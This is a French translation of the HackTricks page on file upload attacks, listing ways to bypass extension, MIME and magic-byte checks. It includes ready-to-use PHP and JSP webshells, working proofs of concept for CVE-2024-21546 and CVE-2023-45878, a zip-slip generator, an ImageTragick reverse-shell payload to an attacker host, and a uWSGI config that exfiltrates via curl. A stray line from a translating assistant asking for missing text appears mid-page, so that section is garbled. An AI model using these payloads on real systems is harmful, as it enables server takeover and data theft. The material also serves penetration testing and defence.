Téléversement de fichiers
Reading time: 28 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Méthodologie générale de téléversement de fichiers
Autres extensions utiles :
- PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
- Working in PHPv8: .php, .php4, .php5, .phtml_, .module_, .inc_, .hphp_, .ctp_
- ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
- Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
- Coldfusion: .cfm, .cfml, .cfc, .dbm
- Flash: .swf
- Perl: .pl, .cgi
- Erlang Yaws Web Server: .yaws
Contourner les vérifications d'extensions de fichiers
- Si elles sont appliquées, vérifiez les extensions précédentes. Testez-les aussi en utilisant des lettres MAJUSCULES : pHp, .pHP5, .PhAr ...
- Vérifiez l'ajout d'une extension valide avant l'extension d'exécution (utilisez aussi les extensions précédentes) :
- file.png.php
- file.png.Php5
- Essayez d'ajouter des caractères spéciaux à la fin. Vous pouvez utiliser Burp pour bruteforce tous les caractères ascii et Unicode. (Notez que vous pouvez aussi essayer d'utiliser les extensions mentionnées précédemment)
- file.php%20
- file.php%0a
- file.php%00
- file.php%0d%0a
- file.php/
- file.php.\
- file.
- file.php....
- file.pHp5....
- Essayez de contourner les protections en trompant le parser d'extensions côté serveur avec des techniques comme le doublement de l'extension ou l'ajout de données inutiles (null bytes) entre les extensions. Vous pouvez aussi utiliser les extensions précédentes pour préparer un payload plus efficace.
- file.png.php
- file.png.pHp5
- file.php#.png
- file.php%00.png
- file.php\x00.png
- file.php%0a.png
- file.php%0d%0a.png
- file.phpJunk123png
- Ajoutez une autre couche d'extensions à la vérification précédente :
- file.png.jpg.php
- file.php%00.png%00.jpg
- Essayez de placer l'extension d'exécution avant l'extension valide et priez pour que le serveur soit mal configuré. (utile pour exploiter des misconfigurations Apache où tout fichier ayant l'extension .php, même s'il ne se termine pas nécessairement par .php, exécutera du code) :
- ex: file.php.png
- Utilisation des NTFS alternate data stream (ADS) sous Windows. Dans ce cas, un caractère deux-points ":" sera inséré après une extension interdite et avant une permise. En conséquence, un fichier vide avec l'extension interdite sera créé sur le serveur (ex. "file.asax:.jpg”). Ce fichier peut être édité plus tard en utilisant d'autres techniques comme l'utilisation de son short filename. Le motif "::$data” peut aussi être utilisé pour créer des fichiers non vides. Par conséquent, ajouter un caractère point après ce motif peut aussi être utile pour contourner d'autres restrictions (ex. "file.asp::$data.”)
- Essayez de dépasser les limites de nom de fichier. L'extension valide est tronquée. Et le PHP malveillant reste. AAA<--SNIP-->AAA.php
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png
UniSharp Laravel Filemanager pre-2.9.1 (.php. point final) – CVE-2024-21546
Certains gestionnaires de téléversement suppriment ou normalisent les caractères point finaux du nom de fichier sauvegardé. Dans UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) versions antérieures à 2.9.1, vous pouvez contourner la validation d'extension en :
- Utiliser un MIME d'image valide et l'en-tête magique correspondant (ex. le PNG
\x89PNG\r\n\x1a\n
). - Nommer le fichier téléversé avec une extension PHP suivie d'un point, ex.
shell.php.
. - Le serveur supprime le point final et conserve
shell.php
, qui s'exécutera s'il est placé dans un répertoire servi par le web (stockage public par défaut comme/storage/files/
).
PoC minimal (Burp Repeater):
POST /profile/avatar HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
Content-Type: image/png
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--
Accédez ensuite au chemin enregistré (typique dans Laravel + LFM):
GET /storage/files/0xdf.php?cmd=id
Contourner Content-Type, Magic Number, Compression & Resizing
- Contourner les contrôles de Content-Type en définissant la valeur de l'en-tête Content-Type sur : image/png , text/plain , application/octet-stream
- Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
- Contourner la vérification du magic number en ajoutant au début du fichier les bytes d'une vraie image (pour tromper la commande file). Ou introduire le shell dans les metadata:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
\
ou vous pouvez aussi introduire la payload directement dans une image :
echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
- Si une compression est appliquée à votre image, par exemple en utilisant des bibliothèques PHP standard comme PHP-GD, les techniques précédentes ne seront pas utiles. Cependant, vous pouvez utiliser le PLTE chunk technique defined here pour insérer du texte qui survivra à la compression.
- Github with the code
- La page web peut aussi redimensionner l'image, en utilisant par exemple les fonctions PHP-GD
imagecopyresized
ouimagecopyresampled
. Cependant, vous pouvez utiliser le IDAT chunk technique defined here pour insérer du texte qui survivra à la compression. - Github with the code
- Une autre technique pour créer une payload qui survit à un redimensionnement d'image, en utilisant la fonction PHP-GD
thumbnailImage
. Cependant, vous pouvez utiliser le tEXt chunk technique defined here pour insérer du texte qui survivra à la compression. - Github with the code
Other Tricks to check
- Trouver une vulnérabilité permettant de rename le fichier déjà uploadé (pour changer l'extension).
- Trouver une vulnérabilité Local File Inclusion pour exécuter le backdoor.
- Possible Information disclosure :
- Upload plusieurs fois (et en même temps) le même fichier avec le même nom
- Upload un fichier portant le nom d'un fichier ou d'un dossier qui existe déjà
- Upload d'un fichier nommé "." , "..", or "…". Par exemple, sous Apache sur Windows, si l'application sauvegarde les fichiers uploadés dans le répertoire "/www/uploads/", le nom de fichier "." créera un fichier appelé uploads” dans le répertoire "/www/".
- Upload d'un fichier difficile à supprimer comme "…:.jpg" sur NTFS. (Windows)
- Upload d'un fichier sur Windows avec des caractères invalides tels que
|<>*?”
dans son nom. (Windows) - Upload d'un fichier sur Windows utilisant des noms réservés (interdits) tels que CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
- Essayez aussi d'uploader un exécutable (.exe) ou un .html (moins suspect) qui exécutera du code lorsqu'il sera ouvert par la victime par inadvertance.
Special extension tricks
Si vous essayez de téléverser des fichiers sur un PHP server, take a look at the .htaccess trick to execute code.
Si vous essayez de téléverser des fichiers sur un ASP server, take a look at the .config trick to execute code.
Les fichiers .phar
sont comme les .jar
pour java, mais pour php, et peuvent être utilisés comme un fichier php (exécutés avec php, ou inclus dans un script...)
L'extension .inc
est parfois utilisée pour des fichiers php uniquement destinés à importer des fichiers, donc, à un moment donné, quelqu'un aurait pu autoriser l'exécution de cette extension.
Jetty RCE
Si vous pouvez téléverser un fichier XML sur un serveur Jetty vous pouvez obtenir RCE because **new .xml and .war are automatically processed. Ainsi, comme indiqué dans l'image suivante, téléversez le fichier XML dans $JETTY_BASE/webapps/
et attendez-vous à obtenir un shell !
uWSGI RCE
Pour une exploration détaillée de cette vulnérabilité, consultez la recherche originale : uWSGI RCE Exploitation.
Les vulnérabilités Remote Command Execution (RCE) peuvent être exploitées sur des serveurs uWSGI si l'on a la capacité de modifier le fichier de configuration .ini
. Les fichiers de configuration uWSGI utilisent une syntaxe spécifique pour intégrer des variables "magic", des placeholders et des opérateurs. Notamment, l'opérateur '@', utilisé sous la forme @(filename)
, est conçu pour inclure le contenu d'un fichier. Parmi les différents schemes pris en charge par uWSGI, le scheme "exec" est particulièrement puissant, permettant de lire des données depuis la sortie standard d'un processus. Cette fonctionnalité peut être détournée à des fins malveillantes telles que Remote Command Execution ou Arbitrary File Write/Read lorsqu'un fichier de configuration .ini
est traité.
Considérez l'exemple suivant d'un fichier uwsgi.ini
malveillant, illustrant divers schemes :
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
L'exécution du payload a lieu lors de l'analyse du fichier de configuration. Pour que la configuration soit activée et analysée, le processus uWSGI doit soit être redémarré (par exemple après un crash ou à cause d'une attaque Denial of Service), soit que le fichier soit configuré en auto-reload. La fonctionnalité auto-reload, si elle est activée, recharge le fichier à intervalles spécifiés lorsqu'elle détecte des changements.
Il est crucial de comprendre la permissivité de l'analyse des fichiers de configuration de uWSGI. Concrètement, le payload discuté peut être inséré dans un fichier binaire (par exemple une image ou un PDF), élargissant ainsi la portée des possibilités d'exploitation.
Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)
Un endpoint non authentifié dans Gibbon LMS permet un arbitrary file write dans la racine web, conduisant à une pre-auth RCE en déposant un fichier PHP. Versions vulnérables : jusqu'à et y compris 25.0.01.
- Endpoint:
/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php
- Method: POST
- Required params:
img
: data-URI-like string:[mime];[name],[base64]
(le serveur ignore type/nom, décode en base64 la partie finale)path
: destination filename relative to Gibbon install dir (e.g.,poc.php
or0xdf.php
)gibbonPersonID
: any non-empty value is accepted (e.g.,0000000001
)
Minimal PoC to write and read back a file:
# Prepare test payload
printf '0xdf was here!' | base64
# => MHhkZiB3YXMgaGVyZSEK
# Write poc.php via unauth POST
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'
# Verify write
curl http://target/Gibbon-LMS/poc.php
Déposer un webshell minimal et exécuter des commandes :
# '<?php system($_GET["cmd"]); ?>' base64
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'
curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'
Notes:
- Le gestionnaire effectue
base64_decode($_POST["img"])
après les avoir séparés par;
et,
, puis écrit les octets dans$absolutePath . '/' . $_POST['path']
sans valider l'extension/le type. - Le code résultant s'exécute en tant qu'utilisateur du service web (par ex., XAMPP Apache sous Windows).
Les références pour ce bug incluent l'avis usd HeroLab et l'entrée NVD. Voir la section References ci‑dessous.
wget File Upload/SSRF Trick
Dans certaines occasions vous pouvez trouver qu'un serveur utilise wget
pour download files et vous pouvez indicate l'URL. Dans ces cas, le code peut vérifier que l'extension des fichiers téléchargés figure dans une whitelist afin de s'assurer que seuls des fichiers autorisés seront téléchargés. Cependant, this check can be bypassed.
La maximum length of a filename in linux est 255, however, wget truncate the filenames to 236 characters. You can download a file called "A"*232+".php"+".gif", this filename will bypass the check (as in this example ".gif" is a valid extension) but wget
will rename the file to "A"*232+".php".
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
Notez que une autre option à laquelle vous pourriez penser pour contourner cette vérification est de faire en sorte que le serveur HTTP redirige vers un fichier différent, donc l'URL initiale contournera la vérification puis wget téléchargera le fichier redirigé avec le nouveau nom. Cela ne fonctionnera pas sauf si wget est utilisé avec le paramètre --trust-server-names
parce que wget téléchargera la page redirigée avec le nom du fichier indiqué dans l'URL originale.
Escaping upload directory via NTFS junctions (Windows)
(Pour cette attaque vous aurez besoin d'un accès local à la machine Windows) Lorsque les uploads sont stockés dans des sous-dossiers par utilisateur sur Windows (p.ex., C:\Windows\Tasks\Uploads<id>) et que vous contrôlez la création/suppression de ce sous-dossier, vous pouvez le remplacer par une directory junction pointant vers un emplacement sensible (p.ex., le webroot). Les uploads suivants seront écrits dans le chemin cible, permettant l'exécution de code si la cible interprète du code côté serveur.
Exemple de flux pour rediriger les uploads vers le webroot de XAMPP:
:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
:: Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
:: 2) Remove the created folder and create a junction to webroot
rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs
:: 3) Re-upload your payload; it lands under C:\xampp\htdocs
:: Minimal PHP webshell for testing
:: <?php echo shell_exec($_REQUEST['cmd']); ?>
:: 4) Trigger
curl "http://TARGET/shell.php?cmd=whoami"
Remarques
- mklink /J crée une jonction de répertoire NTFS (reparse point). Le compte du serveur web doit suivre la jonction et avoir l'autorisation d'écriture dans la destination.
- Cela redirige des écritures de fichiers arbitraires ; si la destination exécute des scripts (PHP/ASP), cela devient RCE.
- Contre-mesures : ne pas autoriser que les racines d'upload inscriptibles soient contrôlables par un attaquant sous C:\Windows\Tasks ou similaire ; bloquer la création de jonctions ; valider les extensions côté serveur ; stocker les uploads sur un volume séparé ou avec des deny‑execute ACLs.
GZIP-compressed body upload + path traversal in destination param → JSP webshell RCE (Tomcat)
Some upload/ingest handlers write the raw request body to a filesystem path that is constructed from user-controlled query parameters. If the handler also supports Content-Encoding: gzip and fails to canonicalize/validate the destination path, you can combine directory traversal with a gzipped payload to write arbitrary bytes into a web-served directory and obtain RCE (e.g., drop a JSP under Tomcat’s webapps).
Flux d'exploitation générique :
- Préparez votre server-side payload (p.ex., minimal JSP webshell) et compressez les octets en gzip.
- Envoyez un POST où un paramètre path (p.ex., token) contient du traversal qui échappe au dossier prévu, et file indique le nom de fichier à persister. Mettez Content-Type: application/octet-stream et Content-Encoding: gzip ; le body est le payload compressé.
- Naviguez vers le fichier écrit pour déclencher l'exécution.
Requête illustrative :
POST /fileupload?token=..%2f..%2f..%2f..%2fopt%2ftomcat%2fwebapps%2fROOT%2Fjsp%2F&file=shell.jsp HTTP/1.1
Host: target
Content-Type: application/octet-stream
Content-Encoding: gzip
Content-Length: <len>
<gzip-compressed-bytes-of-your-jsp>
Je n’ai pas reçu le contenu de src/pentesting-web/file-upload/README.md. Peux-tu coller le texte à traduire ici ?
Je conserverai exactement la syntaxe Markdown/HTML, les balises, les chemins et le code non traduits selon tes consignes.
GET /jsp/shell.jsp?cmd=id HTTP/1.1
Host: target
Remarques
- Les chemins cibles varient selon l'installation (p.ex., /opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/ dans certaines stacks). Tout dossier exposé sur le web qui exécute JSP fonctionnera.
- L'extension Hackvertor de Burp Suite peut produire un corps gzip correct à partir de votre payload.
- Il s'agit d'un pattern purement pre-auth arbitrary file write → RCE ; il ne dépend pas du multipart parsing.
Mitigations
- Dérivez les destinations d'upload côté serveur ; ne faites jamais confiance aux fragments de chemin fournis par les clients.
- Canonicalisez et imposez que le chemin résolu reste dans un répertoire de base allow-listed.
- Stockez les uploads sur un volume non-exécutable et refusez l'exécution de scripts depuis des chemins inscriptibles.
Outils
- Upload Bypass est un outil puissant conçu pour aider les Pentesters et Bug Hunters à tester les mécanismes d'upload de fichiers. Il exploite diverses techniques de bug bounty pour simplifier le processus d'identification et d'exploitation des vulnérabilités, garantissant des évaluations approfondies des applications web.
Corrupting upload indices with snprintf quirks (historical)
Certains handlers d'upload legacy qui utilisent snprintf()
ou des fonctions similaires pour construire des tableaux multi-fichiers à partir d'un upload single-file peuvent être trompés pour forger la structure _FILES
. En raison d'incohérences et de troncatures dans le comportement de snprintf()
, un upload soigneusement construit peut apparaître comme plusieurs fichiers indexés côté serveur, perturbant la logique qui suppose une forme stricte (p.ex., en le traitant comme un multi-file upload et en empruntant des branches non sécurisées). Bien que niche aujourd'hui, ce pattern d’“index corruption” réapparaît parfois dans les CTFs et les anciens codebases.
De File upload vers d'autres vulnérabilités
- Définissez filename à
../../../tmp/lol.png
et essayez d'obtenir un path traversal - Définissez filename à
sleep(10)-- -.jpg
et vous pourriez réussir une SQL injection - Définissez filename à
<svg onload=alert(document.domain)>
pour obtenir un XSS - Définissez filename à
; sleep 10;
pour tester une command injection (plus de command injections tricks here) - XSS in image (svg) file upload
- JS file upload + XSS = Service Workers exploitation
- XXE in svg upload
- Open Redirect via uploading svg file
- Essayez différents payloads svg depuis https://github.com/allanlw/svg-cheatsheet
- Famous ImageTrick vulnerability
- Si vous pouvez indiquer au serveur web de récupérer une image depuis une URL vous pouvez essayer d'abuser d'un SSRF. Si cette image va être sauvegardée sur un site public, vous pouvez aussi indiquer une URL depuis https://iplogger.org/invisible/ et voler des informations de chaque visiteur.
- XXE and CORS bypass with PDF-Adobe upload
- PDFs spécialement craftés pour XSS : La page suivante montre comment injecter des données PDF pour obtenir l'exécution de JS : ../xss-cross-site-scripting/pdf-injection.md. Si vous pouvez uploader des PDFs, vous pouvez préparer un PDF qui exécutera du JS arbitraire en suivant ces indications.
- Téléversez le [eicar](https://secure.eicar.org/eicar.com.txt) pour vérifier si le serveur dispose d'un antivirus
- Vérifiez s'il existe une limite de taille lors de l'upload de fichiers
Voici un top 10 de choses que vous pouvez réaliser en uploadant (source : ici) :
- ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
- SVG: Stored XSS / SSRF / XXE
- GIF: Stored XSS / SSRF
- CSV: CSV injection
- XML: XXE
- AVI: LFI / SSRF
- HTML / JS : HTML injection / XSS / Open redirect
- PNG / JPEG: Pixel flood attack (DoS)
- ZIP: RCE via LFI / DoS
- PDF / PPTX: SSRF / BLIND XXE
Burp Extension
GitHub - PortSwigger/upload-scanner: HTTP file upload scanner for Burp Proxy
Octets d'en-tête magiques
- PNG:
"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["
- JPG:
"\xff\xd8\xff"
Consultez https://en.wikipedia.org/wiki/List_of_file_signatures pour d'autres types de fichiers.
Zip/Tar File Upload automatiquement décompressé
Si vous pouvez uploader un ZIP qui sera décompressé côté serveur, vous pouvez faire 2 choses :
Symlink
Upload an archive containing soft links to other files, then, accessing the decompressed files you will access the linked files:
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
Décompresser dans différents dossiers
La création inattendue de fichiers dans des répertoires lors de la décompression constitue un problème important. Malgré l'hypothèse que cette configuration pourrait empêcher l'OS-level command execution via des malicious file uploads, le support d'archives hiérarchiques et les capacités de directory traversal du format d'archive ZIP peuvent être exploités. Cela permet à un attaquant de contourner les restrictions et de sortir des répertoires d'upload sécurisés en manipulant la fonctionnalité de décompression de l'application ciblée.
An automated exploit to craft such files is available at evilarc on GitHub. The utility can be used as shown:
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
De plus, l'symlink trick with evilarc est une option. Si l'objectif est de cibler un fichier comme /flag.txt
, un symlink vers ce fichier doit être créé sur votre système. Cela garantit qu'evilarc ne rencontre pas d'erreurs lors de son fonctionnement.
Ci-dessous un exemple de code Python utilisé pour créer un fichier zip malveillant :
#!/usr/bin/python
import zipfile
from io import BytesIO
def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
Abusing compression for file spraying
Pour plus de détails consultez le post original sur : https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
- Creating a PHP Shell: Du code PHP est écrit pour exécuter des commandes transmises via la variable
$_REQUEST
.
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
- File Spraying and Compressed File Creation: Plusieurs fichiers sont créés et une archive zip est assemblée contenant ces fichiers.
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
- Modification with a Hex Editor or vi: Les noms des fichiers à l'intérieur du zip sont modifiés avec vi ou un éditeur hexadécimal, remplaçant "xxA" par "../" pour parcourir les répertoires.
:set modifiable
:%s/xxA/../g
:x!
ZIP NUL-byte filename smuggling (PHP ZipArchive confusion)
Lorsqu'un backend valide les entrées ZIP en utilisant PHP’s ZipArchive mais que l'extraction écrit sur le système de fichiers en utilisant les noms bruts, vous pouvez faire passer en contrebande une extension interdite en insérant un NUL (0x00) dans les champs de nom de fichier. ZipArchive considère le nom d'entrée comme une C‑string et le tronque au premier NUL ; le système de fichiers écrit le nom complet, supprimant tout ce qui suit le NUL.
High-level flow:
- Préparez un fichier conteneur légitime (par ex., un PDF valide) qui embarque un petit stub PHP dans un flux afin que le magic/MIME reste un PDF.
- Name it like
shell.php..pdf
, zip it, then hex‑edit the ZIP local header and central directory filename to replace the first.
after.php
with0x00
, resulting inshell.php\x00.pdf
. - Les validateurs qui s'appuient sur ZipArchive "verront"
shell.php .pdf
et l'accepteront ; l'extracteur écritshell.php
sur le disque, menant à une RCE si le dossier d'upload est exécutable.
Minimal PoC steps:
# 1) Build a polyglot PDF containing a tiny webshell (still a valid PDF)
printf '%s' "%PDF-1.3\n1 0 obj<<>>stream\n<?php system($_REQUEST["cmd"]); ?>\nendstream\nendobj\n%%EOF" > embedded.pdf
# 2) Trick name and zip
cp embedded.pdf shell.php..pdf
zip null.zip shell.php..pdf
# 3) Hex-edit both the local header and central directory filename fields
# Replace the dot right after ".php" with 00 (NUL) => shell.php\x00.pdf
# Tools: hexcurse, bless, bvi, wxHexEditor, etc.
# 4) Local validation behavior
php -r '$z=new ZipArchive; $z->open("null.zip"); echo $z->getNameIndex(0),"\n";'
# -> shows truncated at NUL (looks like ".pdf" suffix)
Notes
- Modifiez LES DEUX occurrences du filename (local et central directory). Certains outils ajoutent aussi une entrée data descriptor – ajustez tous les name fields si présents.
- Le payload file doit toujours passer le magic/MIME sniffing côté serveur. Embedding the PHP in a PDF stream keeps the header valid.
- Fonctionne lorsque le chemin d'enum/validation et le chemin d'extraction/écriture diffèrent dans le traitement des chaînes.
Stacked/concatenated ZIPs (parser disagreement)
La concaténation de deux fichiers ZIP valides produit un blob où différents parsers se focalisent sur des enregistrements EOCD différents. Beaucoup d'outils localisent le dernier End Of Central Directory (EOCD), tandis que certaines bibliothèques (par ex. ZipArchive dans certains workflows) peuvent parser la première archive qu'elles trouvent. Si la validation énumère la première archive et que l'extraction utilise un autre outil qui respecte le dernier EOCD, une archive bénigne peut passer les vérifications tandis qu'une archive malveillante est extraite.
PoC:
# Build two separate archives
printf test > t1; printf test2 > t2
zip zip1.zip t1; zip zip2.zip t2
# Stack them
cat zip1.zip zip2.zip > combo.zip
# Different views
unzip -l combo.zip # warns about extra bytes; often lists entries from the last archive
php -r '$z=new ZipArchive; $z->open("combo.zip"); for($i=0;$i<$z->numFiles;$i++) echo $z->getNameIndex($i),"\n";'
Schéma d'abus
- Créez une archive bénigne (type autorisé, p. ex., un PDF) et une seconde archive contenant une extension bloquée (p. ex.,
shell.php
). - Concaténez-les :
cat benign.zip evil.zip > combined.zip
. - Si le serveur valide avec un analyseur (voit benign.zip) mais extrait avec un autre (traite evil.zip), le fichier bloqué se retrouve dans le chemin d'extraction.
ImageTragic
Téléversez ce contenu avec une extension image pour exploiter la vulnérabilité (ImageMagick, 7.0.1-1) (d'après l'exploit)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
Embedding PHP Shell on PNG
L'insertion d'un PHP shell dans le chunk IDAT d'un fichier PNG peut contourner efficacement certaines opérations de traitement d'images. Les fonctions imagecopyresized
et imagecopyresampled
de PHP-GD sont particulièrement pertinentes dans ce contexte, car elles sont couramment utilisées pour redimensionner et ré-échantillonner les images, respectivement. La capacité du PHP shell intégré à rester inchangé par ces opérations constitue un avantage important pour certains cas d'utilisation.
Une exploration détaillée de cette technique, incluant sa méthodologie et ses applications potentielles, est fournie dans l'article suivant : "Encoding Web Shells in PNG IDAT chunks". Cette ressource offre une compréhension complète du processus et de ses implications.
More information in: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
Polyglot Files
Les polyglot files servent d'outil particulier en cybersecurity, agissant comme des caméléons pouvant exister valablement dans plusieurs formats de fichier simultanément. Un exemple intéressant est un GIFAR, un hybride qui fonctionne à la fois comme un GIF et comme une archive RAR. Ces fichiers ne se limitent pas à cette combinaison ; des associations comme GIF et JS ou PPT et JS sont également possibles.
L'utilité principale des polyglot files réside dans leur capacité à contourner des mesures de sécurité qui filtrent les fichiers en fonction du type. La pratique courante dans diverses applications consiste à n'autoriser que certains types de fichiers pour l'upload — comme JPEG, GIF ou DOC — afin de réduire le risque posé par des formats potentiellement dangereux (par ex., JS, PHP, ou Phar files). Cependant, un polyglot, en respectant les critères structurels de plusieurs types de fichiers, peut discrètement bypasser ces restrictions.
Malgré leur adaptabilité, les polyglots rencontrent des limites. Par exemple, bien qu'un polyglot puisse simultanément incarner un PHAR file (PHp ARchive) et un JPEG, le succès de son upload peut dépendre de la politique d'extensions de fichier de la plateforme. Si le système est strict sur les extensions autorisées, la simple dualité structurelle d'un polyglot peut ne pas suffire à garantir son upload.
More information in: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
Upload valid JSONs like if it was PDF
